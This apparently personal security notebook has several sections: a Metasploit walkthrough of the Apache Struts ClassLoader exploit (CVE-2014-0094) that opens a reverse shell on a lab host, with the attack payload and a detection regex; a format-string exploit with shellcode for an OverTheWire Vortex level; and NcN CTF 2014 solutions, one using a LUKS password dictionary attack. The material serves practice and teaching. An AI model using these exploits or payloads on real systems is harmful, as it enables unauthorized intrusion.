struts-2.3.16/apps/struts2-showcase.war
# ! From http://10.0.0.2:8080/manager/html deploy struts2-blank.war
# tail -f /opt/tomcat/logs/*

Exploitation

msf > search cve-2014-0094

Matching Modules
================

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   exploit/multi/http/struts_code_exec_classloader  2014-03-06       manual  Apache Struts ClassLoader Manipulation Remote Code Execution

msf > use exploit/multi/http/struts_code_exec_classloader
msf exploit(struts_code_exec_classloader) > set rhost 10.0.0.2
msf exploit(struts_code_exec_classloader) > set lhost 10.0.0.1
msf exploit(struts_code_exec_classloader) > set target 0
msf exploit(struts_code_exec_classloader) > show options

Module options (exploit/multi/http/struts_code_exec_classloader):

   Name            Current Setting                           Required  Description
   ----            ---------------                           --------  -----------
   Proxies                                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST           10.0.0.2                                  yes       The target address
   RPORT           8080                                      yes       The target port
   SMB_DELAY       10                                        yes       Time that the SMB Server will wait for the payload request
   SRVHOST         0.0.0.0                                   yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT         445                                       yes       The local port to listen on.
   STRUTS_VERSION  2.x                                       yes       Apache Struts Framework version (accepted: 1.x, 2.x)
   TARGETURI       /struts2-blank/example/HelloWorld.action  yes       The path to a struts application action
   VHOST                                                     no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.0.1         yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java

msf exploit(struts_code_exec_classloader) > exploit

[*] Started reverse handler on 10.0.0.1:4444 
[*] 10.0.0.2:8080 - Modifying Class Loader...
[*] 10.0.0.2:8080 - Waiting for the server to flush the logfile
[+] 10.0.0.2:8080 - Log file flushed at http://10.0.0.2:8080/vi8294.jsp
[!] This exploit requires manual cleanup of 'vi8294.jsp' on the target
[*] 10.0.0.2:8080 - Generating JSP...
[*] 10.0.0.2:8080 - Dumping JSP into the logfile...
[*] 10.0.0.2:8080 - Waiting for the server to flush the logfile
[+] 10.0.0.2:8080 - Log file flushed at http://10.0.0.2:8080/vi8294.jsp
[*] Command shell session 2 opened (10.0.0.1:4444 -> 10.0.0.2:5555)

whoami
root

Defense: payload and signature

GET /struts2-blank/example/HelloWorld.action?
class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT&
class['classLoader'].resources.context.parent.pipeline.first.prefix=0Ucn&
class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp&
class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=4 HTTP/1.1

Signature name = Apache Struts ClassLoader manipulation
part = "class", rgxp = "(.*\.|^|.*|\[('|\"))(c|C)lass(\.|('|\")\]|\[).*"
Search in : Parameters
Protocols : http, https

References

http://www.slideshare.net/testpurposes/deep-inside-the-java-framework-apache-struts
http://www.rapid7.com/db/modules/exploit/multi/http/struts_code_exec_classloader

# PicViz: Spot the difference


# apt-get install picviz

# cat csv2pgdl.py
#!/usr/bin/python

import sys

csvfile = sys.argv[1]

print 'header {'
print '\ttitle="Bots connections";'
print '}'
print 'axes {'
print '\tenum time     [ label="Time"    ];'
print '\tenum proto    [ label="Proto"   ];'
print '\tipv4 sip      [ label="SrcIP"   ];'
print '\tinteger sport [ label="SrcPort" ];'
print '\tipv4 dip      [ label="DstIP"   ];'
print '\tinteger dport [ label="DstPort" ];'
print '}'


f = open(csvfile)
lines = f.readlines()
f.close()

print 'data {'
for line in lines:
 # line = 2015-01-05 22:22:22;tcp;1.2.3.4;3078;5.6.7.8;23
 field = line.strip().split(';')
 print '\ttime="' + field[0] + '", proto="' + field[1] + '", sip="' + field[2] + '", sport="' + field[3] + '", dip="' + field[4] + '", dport="' + field[5] + '";'
print '}'

# ./csv2pgdl.py data.csv > data.pgdl
# pcv -Tpngcairo data.pgdl -rrra -Rheatline -o data.png # or
# pcv -Tpngcairo data.pgdl -rrra -Rheatline -o data.png 'show value = "tcp" on axis 2 and value = "23" on axis 6'
# eog data.png

References

http://en.wikipedia.org/wiki/Parallel_coordinates

# Encrypt with LUKS (Linux Unified Key Setup)


# apt-get install cryptsetup
# luksformat -t ext4 /dev/sdb
# cryptsetup luksDump  /dev/sdb
# cryptsetup open --type luks /dev/sdb luks
# mount /dev/mapper/luks /mnt/luks
# umount /mnt/luks
# cryptsetup close luks

# Vortex wargame: Level 4


# ssh vortex4@vortex.labs.overthewire.org
vortex4@vortex.labs.overthewire.org's password:32596d674b313d6a77

$ file /vortex/vortex4
/vortex/vortex4: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=11041f50a7845267e6d05f6f11dd37de0a33d423, not stripped

$ mkdir /tmp/v4
$ cd /tmp/v4
$ cat execve.c 
#include <unistd.h>

int main(int argc, char **argv){
 char *env[4];
 env[0]="";
 env[1]="EGG=\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
 env[2]=argv[2];
 env[3]=NULL;
 execve(argv[1], NULL, env);
}
$ gcc -m32 -o execve execve.c
$ cat getenvaddr.c
#include <stdio.h>

int main(int argc,char *argv[]){
        char *ptr;
        ptr = getenv("EGG");
 ptr += 3;
        printf("%s will be at %p\n", "EGG", ptr);
        return 0;
}
$ gcc -m32 -o getenvaddr getenvaddr.c
$ cat format_string.py
#!/usr/bin/python

import sys
import struct

def whatprinted(what, printed):
 while what <= printed:
  what += 0x100
 what -= printed
 return what, what + printed

def fs_4writes(what, where, printed, init):
 mask     = 0xff
 printed  = 16 + printed # (4 bytes * 4 where_addresses) + printed
 what_b0  = (what      ) & mask
 what_b1  = (what >>  8) & mask
 what_b2  = (what >> 16) & mask
 what_b3  = (what >> 24) & mask

 what_b0, printed = whatprinted(what_b0, printed)
 what_b1, printed = whatprinted(what_b1, printed)
 what_b2, printed = whatprinted(what_b2, printed)
 what_b3, printed = whatprinted(what_b3, printed)

 return  struct.pack('<I',  where     ) + \
  struct.pack('<I', (where + 1)) + \
  struct.pack('<I', (where + 2)) + \
  struct.pack('<I', (where + 3)) + \
  ('%%%dc'    % what_b0  ) + \
  ('%%%d$hhn' % init     ) + \
  ('%%%dc'    % what_b1  ) + \
  ('%%%d$hhn' % (init + 1)     ) + \
  ('%%%dc'    % what_b2  ) + \
  ('%%%d$hhn' % (init + 2)     ) + \
  ('%%%dc'    % what_b3  ) + \
  ('%%%d$hhn' % (init + 3)     )

if len(sys.argv) == 7:

 mode    = sys.argv[1]
 what    = int(sys.argv[2], 16)
 where   = int(sys.argv[3], 16)
 printed = int(sys.argv[4])
 init    = int(sys.argv[5])
 align   = int(sys.argv[6])

 fs = fs_4writes(what, where, printed, init)
 align = '#' * align

 if mode == 'findinit':
  pop =   '%' + str(init) + '$x'
  pop += '-' * (len(fs) - len(pop))
  payload = pop + align
 elif mode == 'exploit':
  payload = fs  + align

 print payload
else:
 print sys.argv[0], '<mode> <what> <where> <printed> <init> <padding>'
$ gdb /vortex/vortex4
(gdb) set disassembly-flavor intel
(gdb) disassemble main
   0x0804844d <+0>: push   ebp
   0x0804844e <+1>: mov    ebp,esp
   0x08048450 <+3>: and    esp,0xfffffff0
   0x08048453 <+6>: sub    esp,0x10
   0x08048456 <+9>: cmp    DWORD PTR [ebp+0x8],0x0 argc =? 0
   0x0804845a <+13>: je     0x8048468 <main+27>
   0x0804845c <+15>: mov    DWORD PTR [esp],0x0
   0x08048463 <+22>: call   0x8048330 <exit@plt>
   0x08048468 <+27>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804846b <+30>: add    eax,0xc
   0x0804846e <+33>: mov    eax,DWORD PTR [eax]
   0x08048470 <+35>: mov    DWORD PTR [esp],eax
   0x08048473 <+38>: call   0x8048310 <printf@plt>
   0x08048478 <+43>: mov    DWORD PTR [esp],0x0
   0x0804847f <+50>: call   0x8048330 <exit@plt>
$ readelf -r /vortex/vortex4

Relocation section '.rel.dyn' at offset 0x2ac contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x2b4 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf
0804a010  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a014  00000307 R_386_JUMP_SLOT   00000000   exit
0804a018  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main

$ ./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffffff 0804a014 0 104 5`
EGG will be at 0xffffdf83
$ ./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffdf83 0804a014 0 104 5`
EGG will be at 0xffffdf85
$ ./execve /vortex/vortex4 `./format_string.py findinit 0xffffdf85 0804a014 0 104 5`; echo
34303125------------------------------------------------------------##### %104 = init
$ ./execve /vortex/vortex4 `./format_string.py exploit 0xffffdf85 0804a014 0 104 5`; echo
$ whoami
vortex5
$ /bin/cat /etc/vortex_pass/vortex5
3a3456746243346c72

# NcN CTF 2k14: OST (400 points)

Can you hear it? We neither ;)

# cat pattern.py
#!/usr/bin/python

import scipy.io.wavfile
import sys
import wave
from collections import Counter

inputfile = sys.argv[1]

wave_read_object = wave.open(inputfile, 'rb')
print 'Number of audio channels = ',  wave_read_object.getnchannels()
print 'Sample width = ', wave_read_object.getsampwidth(), '(bytes)'
print 'Sampling frequency = ', wave_read_object.getframerate(), '(Hz)'
frames = wave_read_object.getnframes()
print 'Number of audio frames = ', frames
wave_read_object.close()

rate, data = scipy.io.wavfile.read(inputfile)

r = Counter()
for frames in data:
 r[str(frames[1])] += 1
print r

word = ''
last_bit = ''
binary = ''

for frames in data:
 if frames[1] == 0:
  bit = '0'
 else:
  bit = '1'
 if last_bit != bit:
  sys.stdout.write(word + '\n')
  word = ''
 word += bit
 last_bit = bit
print binary

# ./pattern.py ost.wav
Number of audio channels =  2
Sample width =  2 (bytes)
Sampling frequency =  44100 (Hz)
Number of audio frames =  661522
Counter({'0': 342450, '328': 319072})

0000000000000
11111111111111111111111111
0000000000000
1111111111111
0000000000000
1111111111111
00000000000000000000000000
11111111111111111111111111
0000000000000
1111111111111
00000000000000000000000000
11111111111111111111111111
00000000000000000000000000
11111111111111111111111111
00000000000000000000000000
11111111111111111111111111
0000000000000
1111111111111
0000000000000
1111111111111
0000000000000
1111111111111
0000000000000
1111111111111
00000000000000000000000000
11111111111111111111111111
0000000000000
1111111111111
...

# cat solution.py
#!/usr/bin/python

import scipy.io.wavfile
import sys
import wave
from collections import Counter

inputfile = sys.argv[1]
outputfile = sys.argv[2]

wave_read_object = wave.open(inputfile, 'rb')
print 'Number of audio channels = ',  wave_read_object.getnchannels()
print 'Sample width = ', wave_read_object.getsampwidth(), '(bytes)'
print 'Sampling frequency = ', wave_read_object.getframerate(), '(Hz)'
frames = wave_read_object.getnframes()
print 'Number of audio frames = ', frames
wave_read_object.close()

rate, data = scipy.io.wavfile.read(inputfile)

r = Counter()
for frames in data:
 r[str(frames[1])] += 1
print r

word = ''
binary = ''

for frames in data:
 if frames[1] == 0:
  bit = '0'
 else:
  bit = '1'
 if word == '0000000000000':
  binary += '0'
  sys.stdout.write(word + '\n')
  word = ''
 if word == '1111111111111':
  binary += '1'
  sys.stdout.write(word + '\n')
  word = ''
 word += bit
print binary

decoded = ''

for i in xrange(0, len(binary), 2):
 print i, i + 2
 symbol = binary[i : i + 2]
 if symbol == '01':
  digit = '1'
 else:
  digit = '0'
 decoded += digit

f = open(outputfile, 'wb')

for i in xrange(0, len(decoded), 8):
 print i, i + 8
 byte = decoded[i : i + 8]
 print chr(int(byte,2))
 f.write(chr(int(byte,2)))
f.close()

# ./solution.py ost.wav output
Number of audio channels =  2
Sample width =  2 (bytes)
Sampling frequency =  44100 (Hz)
Number of audio frames =  661522
Counter({'0': 342450, '328': 319072})
0000000000000
1111111111111
1111111111111
0000000000000
1111111111111
0000000000000
1111111111111
0000000000000
0000000000000
1111111111111
1111111111111
0000000000000
1111111111111
0000000000000
0000000000000
1111111111111
1111111111111
0000000000000
0000000000000
1111111111111
1111111111111
0000000000000
...
011010100110100110011001101010101001101001010110100110101001010110101010010110011010101001100110101010010110011010101010011001101010101010101010101010101010101010101010101010101010101001011001100110100110100110011010011010101001101010011010100110011010011010101010101010101010101010101010101010101010011010101001100101101010101010101010101010101010101010101010101010101010010110101010101010100110101010101010100110101010101010101010101010101010101010101010101010100101011010010101101001101001101001010101011001011001100101100110101010101010101010101010101010101010101010101010101010101010011010010110101001101001101001100101100110101001010110011010100110101010101010101010101010101010101001100110011001100110101001011001101001101010010110100101101001101010101010101010
...
0 2
2 4
4 6
6 8
8 10
10 12
12 14
14 16
16 18
18 20
...
0 8
�
8 16
P
16 24
N
24 32
G
32 40

40 48

...
# file output 
output: PNG image data, 534 x 48, 8-bit gray+alpha, non-interlaced
# tesseract output flag && cat flag.txt
NcN_d787634fa059f9a009f539a18526666208a3e960

# NcN CTF 2k14: HIDDENtation (300 points)


Dig deep into the file and find the flag.

# file hiddentation
hiddentation: data
# ./patch.py hiddentation r 0x0 0x280
4c554b73 babe..01 616573.. ........ ........ ........ ........ ........    LUKs .... aes. .... .... .... .... ....    [0x0]
........ ........ 6362632d 65737369 763a7368 61323536 ........ ........    .... .... cbc- essi v:sh a256 .... ....    [0x20]
........ ........ 73686131 ........ ........ ........ ........ ........    .... .... sha1 .... .... .... .... ....    [0x40]
........ ........ ....10.. ......20 37095389 8e05800e a2dcc66f b7fa18e9    .... .... .... ...  7.S. .... ...o ....    [0x60]
bb134d60 8571eeb5 f26acbbf c2f5eedc 2058c98e 7a6b1555 c9783ef2 e7f1a8b7    ..M` .q.. .j.. ....  X.. zk.U .x>. ....    [0x80]
ab4edd24 ....e196 37303662 37623864 2d393833 322d3466 65352d38 6635622d    .N.$ .... 706b 7b8d -983 2-4f e5-8 f5b-    [0xa0]
31393439 31313761 36356464 ........ ....dead ........ ........ ........    1949 117a 65dd .... .... .... .... ....    [0xc0]
........ ........ ........ ........ ........ ........ ......08 ....0fa0    .... .... .... .... .... .... .... ....    [0xe0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x100]
........ ........ ......08 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x120]
........ ........ ........ ........ ........ ........ ....0108 ....0fa0    .... .... .... .... .... .... .... ....    [0x140]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x160]
........ ........ ....0208 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x180]
........ ........ ........ ........ ........ ........ ....0308 ....0fa0    .... .... .... .... .... .... .... ....    [0x1a0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1c0]
........ ........ ....0408 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1e0]
........ ........ ........ ........ ........ ........ ....0508 ....0fa0    .... .... .... .... .... .... .... ....    [0x200]
....dead ..038765 455d8bc7 048b1c91 36ba167e 21ed6db3 bb075bec ec4fefe9    .... ...e E].. .... 6..~ !.m. ..[. .O..    [0x220]
fe7b934d 03..0a09 ....0608 ....0fa0 54727920 19206d6f 73742063 6f6d6d6f    .{.M .... .... .... Try  . mo st c ommo    [0x240]
6e207061 73737764 20696e20 07dd.... ........ ........ ....07.. ........    n pa sswd  in  .... .... .... .... ....    [0x260]

# ./luks_parser.py hiddentation
[0x0]   magic = 4c554b73babe [LUKs��] != 4c554b53babe [LUKS��]
[0x6]   version = 0001 [1] 
[0x8]   cipher_name = 6165730000000000000000000000000000000000000000000000000000000000 [aes] 
[0x28]  cipher_mode = 6362632d65737369763a73686132353600000000000000000000000000000000 [cbc-essiv:sha256] 
[0x48]  hash_spec = 7368613100000000000000000000000000000000000000000000000000000000 [sha1] 
[0x68]  payload_offset = 00001000 [4096] 
[0x6c]  key_bytes = 00000020 [32] 
[0x70]  mk_digest = 370953898e05800ea2dcc66fb7fa18e9bb134d60 [7 S�����o�� �� M`] 
[0x84]  mk_digest_salt = 8571eeb5f26acbbfc2f5eedc2058c98e7a6b1555c9783ef2e7f1a8b7ab4edd24 [�q���j˿���� XÉŽzk U�x>��ñ¨·«N�$] 
[0xa4]  mk_digest_iter = 0000e196 [57750] 
[0xa8]  uuid = 37303662376238642d393833322d346665352d386635622d31393439313137613635646400000000 [706b7b8d-9832-4fe5-8f5b-1949117a65dd] 

= Key slot 1 =
[0xd0]  active = 0000dead [57005] == Disabled
[0xd4]  iterations = 00000000 [0] 
[0xd8]  salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0xf8]  key_material_offset = 00000008 [8] 
[0xfc]  stripes = 00000fa0 [4000] 

= Key slot 2 =
[0x100] active = 0000dead [57005] == Disabled
[0x104] iterations = 00000000 [0] 
[0x108] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x128] key_material_offset = 00000008 [8] 
[0x12c] stripes = 00000fa0 [4000] 

= Key slot 3 =
[0x130] active = 0000dead [57005] == Disabled
[0x134] iterations = 00000000 [0] 
[0x138] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x158] key_material_offset = 00000108 [264] 
[0x15c] stripes = 00000fa0 [4000] 

= Key slot 4 =
[0x160] active = 0000dead [57005] == Disabled
[0x164] iterations = 00000000 [0] 
[0x168] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x188] key_material_offset = 00000208 [520] 
[0x18c] stripes = 00000fa0 [4000] 

= Key slot 5 =
[0x190] active = 0000dead [57005] == Disabled
[0x194] iterations = 00000000 [0] 
[0x198] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x1b8] key_material_offset = 00000308 [776] 
[0x1bc] stripes = 00000fa0 [4000] 

= Key slot 6 =
[0x1c0] active = 0000dead [57005] == Disabled
[0x1c4] iterations = 00000000 [0] 
[0x1c8] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x1e8] key_material_offset = 00000408 [1032] 
[0x1ec] stripes = 00000fa0 [4000] 

= Key slot 7 =
[0x1f0] active = 0000dead [57005] == Disabled
[0x1f4] iterations = 00000000 [0] 
[0x1f8] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x218] key_material_offset = 00000508 [1288] 
[0x21c] stripes = 00000fa0 [4000] 

= Key slot 8 =
[0x220] active = 0000dead [57005] == Disabled
[0x224] iterations = 00038765 [231269] 
[0x228] salt = 455d8bc7048b1c9136ba167e21ed6db3bb075becec4fefe9fe7b934d03000a09 [E]�� � �6� ~!�m��[��O���{�M 
 ] 
[0x248] key_material_offset = 00000608 [1544] 
[0x24c] stripes = 00000fa0 [4000]

# cp hiddentation hiddentation.copy

# ./patch.py hiddentation.copy w 0x3 53
# ./patch.py hiddentation.copy w 0x220 00ac71f3
# ./patch.py hiddentation.copy w 0x248 00000708
# ./patch.py hiddentation.copy r 0x0 0x280
4c554b53 babe..01 616573.. ........ ........ ........ ........ ........    LUKS .... aes. .... .... .... .... ....    [0x0]
........ ........ 6362632d 65737369 763a7368 61323536 ........ ........    .... .... cbc- essi v:sh a256 .... ....    [0x20]
........ ........ 73686131 ........ ........ ........ ........ ........    .... .... sha1 .... .... .... .... ....    [0x40]
........ ........ ....10.. ......20 37095389 8e05800e a2dcc66f b7fa18e9    .... .... .... ...  7.S. .... ...o ....    [0x60]
bb134d60 8571eeb5 f26acbbf c2f5eedc 2058c98e 7a6b1555 c9783ef2 e7f1a8b7    ..M` .q.. .j.. ....  X.. zk.U .x>. ....    [0x80]
ab4edd24 ....e196 37303662 37623864 2d393833 322d3466 65352d38 6635622d    .N.$ .... 706b 7b8d -983 2-4f e5-8 f5b-    [0xa0]
31393439 31313761 36356464 ........ ....dead ........ ........ ........    1949 117a 65dd .... .... .... .... ....    [0xc0]
........ ........ ........ ........ ........ ........ ......08 ....0fa0    .... .... .... .... .... .... .... ....    [0xe0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x100]
........ ........ ......08 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x120]
........ ........ ........ ........ ........ ........ ....0108 ....0fa0    .... .... .... .... .... .... .... ....    [0x140]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x160]
........ ........ ....0208 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x180]
........ ........ ........ ........ ........ ........ ....0308 ....0fa0    .... .... .... .... .... .... .... ....    [0x1a0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1c0]
........ ........ ....0408 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1e0]
........ ........ ........ ........ ........ ........ ....0508 ....0fa0    .... .... .... .... .... .... .... ....    [0x200]
..ac71f3 ..038765 455d8bc7 048b1c91 36ba167e 21ed6db3 bb075bec ec4fefe9    ..q. ...e E].. .... 6..~ !.m. ..[. .O..    [0x220]
fe7b934d 03..0a09 ....0708 ....0fa0 54727920 19206d6f 73742063 6f6d6d6f    .{.M .... .... .... Try  . mo st c ommo    [0x240]
6e207061 73737764 20696e20 07dd.... ........ ........ ....07.. ........    n pa sswd  in  .... .... .... .... ....    [0x260]

# file hiddentation.copy
hiddentation.copy: LUKS encrypted file, ver 1 [aes, cbc-essiv:sha256, sha1] UUID: 706b7b8d-9832-4fe5-8f5b-1949117a65dd

# cryptsetup luksDump hiddentation.copy
LUKS header information for hiddentation.copy

Version:        1
Cipher name:    aes
Cipher mode:    cbc-essiv:sha256
Hash spec:      sha1
Payload offset: 4096
MK bits:        256
MK digest:      37 09 53 89 8e 05 80 0e a2 dc c6 6f b7 fa 18 e9 bb 13 4d 60 
MK salt:        85 71 ee b5 f2 6a cb bf c2 f5 ee dc 20 58 c9 8e 
                7a 6b 15 55 c9 78 3e f2 e7 f1 a8 b7 ab 4e dd 24 
MK iterations:  57750
UUID:           706b7b8d-9832-4fe5-8f5b-1949117a65dd

Key Slot 0: DISABLED
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: ENABLED
 Iterations:          231269
 Salt:                45 5d 8b c7 04 8b 1c 91 36 ba 16 7e 21 ed 6d b3 
                        bb 07 5b ec ec 4f ef e9 fe 7b 93 4d 03 00 0a 09 
 Key material offset: 1800
 AF stripes:             4000

# while read password; do echo $password; echo -n $password | cryptsetup open --type luks hiddentation.copy volume --key-file - && break; done <<< "`curl --silent http://whnt.com/2014/01/22/the-25-most-common-passwords-of-2013/ | grep '.  ' | awk '{print $2}'`"
123456
No key available with this passphrase.
password
No key available with this passphrase.
12345678
No key available with this passphrase.
qwerty
No key available with this passphrase.
abc123
No key available with this passphrase.
123456789
No key available with this passphrase.
111111
No key available with this passphrase.
1234567
No key available with this passphrase.
iloveyou
No key available with this passphrase.
adobe123
No key available with this passphrase.
123123
No key available with this passphrase.
admin
No key available with this passphrase.
1234567890
No key available with this passphrase.
letmein
No key available with this passphrase.
photoshop
No key available with this passphrase.
1234
No key available with this passphrase.
monkey
No key available with this passphrase.
shadow

# fdisk -l /dev/mapper/volume

WARNING: GPT (GUID Partition Table) detected on '/dev/mapper/volume'! The util fdisk doesn't support GPT. Use GNU Parted.

Disk /dev/mapper/volume: 97 MB, 97902592 bytes
255 heads, 63 sectors/track, 11 cylinders, total 191216 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

             Device Boot      Start         End      Blocks   Id  System
/dev/mapper/volume1               1      191215       95607+  ee  GPT

# gparted /dev/mapper/volume
# # offset = 86016 (First sector) * 512 bytes/sector = 44040192
# losetup --offset 44040192 /dev/loop1 /dev/mapper/volume
# mount /dev/loop1 /mnt
# cat /mnt/flag.txt
It's inside this partition, but hidden ;)
# testdisk /dev/loop1
>D HPFS - NTFS                69632     104447      34816
# dd if=/dev/loop1 of=ntfs skip=69632 count=34816
# umount /dev/loop1
# losetup -d /dev/loop1
# losetup /dev/loop1 ntfs
# mount /dev/loop1 /mnt
# cat /mnt/readme.txt 
You are very near, but it's even more hidden!
# umount /dev/loop1
# losetup -d /dev/loop1
# ntfsundelete --scan ntfs
Inode    Flags  %age  Date           Size  Filename
---------------------------------------------------------------
...
65       FR..   100%  2014-10-20        74  flag.txt

Files with potentially recoverable content: 1
# ntfsundelete --undelete --match flag.txt ntfs 
Inode    Flags  %age  Date           Size  Filename
---------------------------------------------------------------
65       FR..   100%  2014-10-20        74  flag.txt
Undeleted 'flag.txt' successfully.
Undeleted 'flag.txt:$' successfully.
# cat flag.txt*
You are very very very near!
rot13:APAq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r

# ./rot.py -m tracks APAq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r 2>&1 | grep -e '\[' -e 13
['ABCDEFGHIJKLMNOPQRSTUVWXYZ'] (26)
(13) NCNq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r
['abcdefghijklmnopqrstuvwxyz'] (26)
(13) APAd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e
['ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'] (26)
(13) NCNd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e

References

http://testpurposes.net/2014/10/31/solucion-hiddentation-final-ctf-ncn-2014/
http://cryptsetup.googlecode.com/svn-history/r42/wiki/LUKS-standard/on-disk-format.pdf